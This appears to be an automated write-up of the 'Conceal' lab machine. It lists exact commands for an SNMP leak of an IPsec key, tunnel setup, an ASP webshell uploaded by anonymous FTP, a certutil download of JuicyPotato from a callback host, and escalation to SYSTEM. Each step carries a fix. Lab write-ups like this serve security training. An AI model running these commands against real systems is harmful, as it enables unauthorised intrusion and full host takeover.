Conceal
Summary
Initial recon found only SNMP (161/udp) and IKE (500/udp) reachable — all TCP ports were firewall-filtered. snmpwalk -v2c -c public against the box returned system/enterprise OIDs including sysDescr (Windows Version 6.3 Build 15063) and an embedded IPsec pre-shared key. An ike-scan sweep against default transforms returned no handshake, but iterating transform sets found IKEv1 Main Mode succeeds with --trans=5,2,1,2 (3DES/SHA1/PSK/modp1024, DH group 2). A strongSwan ipsec.conf/ipsec.secrets transport-mode connection was built using the SNMP-leaked PSK and that exact transform, and the tunnel established successfully. Once the IPsec tunnel was up, previously filtered TCP ports opened: 21 (FTP, Microsoft FTP Service), 80 (IIS 10.0), 135/139/445 (RPC/SMB).
The FTP service allowed anonymous read/write into the IIS webroot. An .aspx webshell upload to the FTP root returned 404 when browsed (wrong physical path — no code execution occurred there), but re-uploading a classic .asp webshell (cx.asp) into the /upload/ subdirectory succeeded and executed via GET /upload/cx.asp?cmd=..., giving command execution as conceal\destitute. type C:\Users\destitute\Desktop\user.txt returned the user flag ([REDACTED: flag]).
whoami /all showed the IIS/web account held SeImpersonatePrivilege. Several Potato-family privesc binaries (PrintSpoofer64/32, GodPotato-NET4) were staged via certutil -urlcache from an user-hosted HTTP server but failed to execute reliably through the ASP webshell's cmd-argument passing. JuicyPotato (jp.exe) was staged the same way; enumerating usable COM CLSIDs found {e60687f7-01a1-40aa-86ac-db1cbf673334} authenticated as NT AUTHORITY\SYSTEM. Running JuicyPotato with -t * -p cmd.exe -l 1444 -c {e60687f7-01a1-40aa-86ac-db1cbf673334} and an -a argument to type the root flag to a readable location returned SYSTEM-level output containing the root flag ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 2
sudo nmap -sU -p 161,500 --open $TARGETsnmpwalk -v2c -c public -On $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
Exact commands 1
ike-scan -M --trans=5,2,1,2 $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
Exact commands 4
sudo tee /etc/ipsec.conf <<'EOF'
config setup
charondebug="ike 1, knl 1, cfg 0"
conn conceal
keyexchange=ikev1
left=%defaultroute
leftauth=psk
right=$TARGET
rightauth=psk
ike=3des-sha1-modp1024
esp=3des-sha1
type=transport
auto=start
EOFecho ': PSK "<SNMP_DERIVED_PSK_HEX>"' | sudo tee /etc/ipsec.secretssudo ipsec restart && sudo ipsec up concealnmap -Pn -sT -p 21,80,135,139,445 $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
Exact commands 2
curl -T cx2.asp ftp://anonymous:anonymous@$TARGET/upload/cx2.aspcurl -sS -G --data-urlencode 'cmd=whoami' 'http://$TARGET/upload/cx2.asp'FixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
Exact commands 2
curl -sS -G --data-urlencode 'cmd=type C:\Users\destitute\Desktop\user.txt' 'http://$TARGET/upload/cx2.asp'curl -sS -G --data-urlencode 'cmd=whoami /all' 'http://$TARGET/upload/cx2.asp'FixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
Exact commands 3
python3 -m http.server 9000curl -sS -G --data-urlencode 'cmd=certutil -urlcache -split -f http://$CALLBACK_HOST:9000/JuicyPotato.exe C:\Users\Public\jp.exe' 'http://$TARGET/upload/cx2.asp'curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c whoami" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' 'http://$TARGET/upload/cx2.asp'FixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
Exact commands 2
curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\root.txt" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' 'http://$TARGET/upload/cx2.asp'curl -sS -G --data-urlencode 'cmd=type C:\Users\Public\root.txt' 'http://$TARGET/upload/cx2.asp'FixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Findings
Exposed services
| 21/tcp | ftp |
| 80/tcp | http syn-ack |
| 135/tcp | msrpc syn-ack |
| 139/tcp | netbios-ssn syn-ack |
| 445/tcp | microsoft-ds syn-ack |
| 49664/tcp | unknown syn-ack |
| 49665/tcp | unknown syn-ack |